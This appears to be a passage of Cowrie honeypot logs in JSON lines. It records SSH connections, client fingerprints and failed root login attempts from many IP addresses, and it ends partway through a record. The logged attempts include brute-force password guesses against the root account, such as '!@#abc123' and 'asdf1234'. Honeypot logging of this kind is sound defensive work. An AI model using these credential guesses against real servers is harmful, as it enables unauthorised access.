{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:22.040072Z","src_ip":"72.17.34.38","session":"9a487a5e9540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ispconfig","message":"login attempt [root/ispconfig] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:22.210677Z","src_ip":"72.17.34.38","session":"9a487a5e9540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:23.249668Z","src_ip":"72.17.34.38","session":"9a487a5e9540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":44814,"dst_ip":"10.17.0.5","dst_port":22,"session":"f49a11d8c546","protocol":"ssh","message":"New connection: 193.228.128.84:44814 (10.17.0.5:22) [session: f49a11d8c546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:23.549073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:23.554338Z","src_ip":"193.228.128.84","session":"f49a11d8c546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:23.662648Z","src_ip":"193.228.128.84","session":"f49a11d8c546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666q","message":"login attempt [root/666666q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:23.972530Z","src_ip":"193.228.128.84","session":"f49a11d8c546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:25.078967Z","src_ip":"193.228.128.84","session":"f49a11d8c546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.84725475311279,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:31.539249Z","src_ip":"192.119.13.58","session":"f068a001d624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dddb86168e9","protocol":"ssh","message":"New connection: 43.135.182.46:51948 (159.203.135.109:22) [session: 0dddb86168e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:34.876984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:34.886338Z","src_ip":"43.135.182.46","session":"0dddb86168e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:34.955654Z","src_ip":"43.135.182.46","session":"0dddb86168e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#abc123","message":"login attempt [root/!@#abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:35.263776Z","src_ip":"43.135.182.46","session":"0dddb86168e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:36.336476Z","src_ip":"43.135.182.46","session":"0dddb86168e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":45146,"dst_ip":"159.203.135.109","dst_port":22,"session":"12793ab23fb1","protocol":"ssh","message":"New connection: 43.130.31.151:45146 (159.203.135.109:22) [session: 12793ab23fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:38.904109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:38.908573Z","src_ip":"43.130.31.151","session":"12793ab23fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:38.976994Z","src_ip":"43.130.31.151","session":"12793ab23fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#abc123","message":"login attempt [root/!@#abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:39.287730Z","src_ip":"43.130.31.151","session":"12793ab23fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:40.359816Z","src_ip":"43.130.31.151","session":"12793ab23fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37118,"dst_ip":"159.203.135.109","dst_port":22,"session":"f66fd42007e9","protocol":"ssh","message":"New connection: 103.149.28.157:37118 (159.203.135.109:22) [session: f66fd42007e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:49.030188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:49.035259Z","src_ip":"103.149.28.157","session":"f66fd42007e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:49.278229Z","src_ip":"103.149.28.157","session":"f66fd42007e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"german","message":"login attempt [root/german] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:50.005483Z","src_ip":"103.149.28.157","session":"f66fd42007e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:51.249310Z","src_ip":"103.149.28.157","session":"f66fd42007e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":59484,"dst_ip":"159.203.135.109","dst_port":22,"session":"754295386671","protocol":"ssh","message":"New connection: 209.99.184.143:59484 (159.203.135.109:22) [session: 754295386671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:18.400339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:18.404374Z","src_ip":"209.99.184.143","session":"754295386671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:18.501185Z","src_ip":"209.99.184.143","session":"754295386671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234","message":"login attempt [root/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:18.922861Z","src_ip":"209.99.184.143","session":"754295386671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:20.020486Z","src_ip":"209.99.184.143","session":"754295386671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":45692,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c9c413fbe23","protocol":"ssh","message":"New connection: 202.79.29.108:45692 (159.203.135.109:22) [session: 9c9c413fbe23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:25.274158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:25.279612Z","src_ip":"202.79.29.108","session":"9c9c413fbe23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:25.547046Z","src_ip":"202.79.29.108","session":"9c9c413fbe23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123.com","message":"login attempt [root/!@#123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:26.629611Z","src_ip":"202.79.29.108","session":"9c9c413fbe23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:27.896390Z","src_ip":"202.79.29.108","session":"9c9c413fbe23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":34382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c069946528","protocol":"ssh","message":"New connection: 72.17.34.38:34382 (159.203.135.109:22) [session: b6c069946528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:31.959640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:31.964811Z","src_ip":"72.17.34.38","session":"b6c069946528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:31.999922Z","src_ip":"72.17.34.38","session":"b6c069946528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#abc123","message":"login attempt [root/!@#abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:32.170280Z","src_ip":"72.17.34.38","session":"b6c069946528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:56:33.209491Z","src_ip":"72.17.34.38","session":"b6c069946528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":38790,"dst_ip":"159.203.135.109","dst_port":22,"session":"647474fc1047","protocol":"ssh","message":"New connection: 43.135.182.46:38790 (159.203.135.109:22) [session: 647474fc1047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.209028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.214412Z","src_ip":"43.135.182.46","session":"647474fc1047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a77b8b1a24fe","protocol":"ssh","message":"New connection: 103.195.236.96:41266 (10.17.0.5:22) [session: a77b8b1a24fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.232477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:57:00.238024Z","src_ip":"103.195.236.96","session":"a77b8b1a24fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2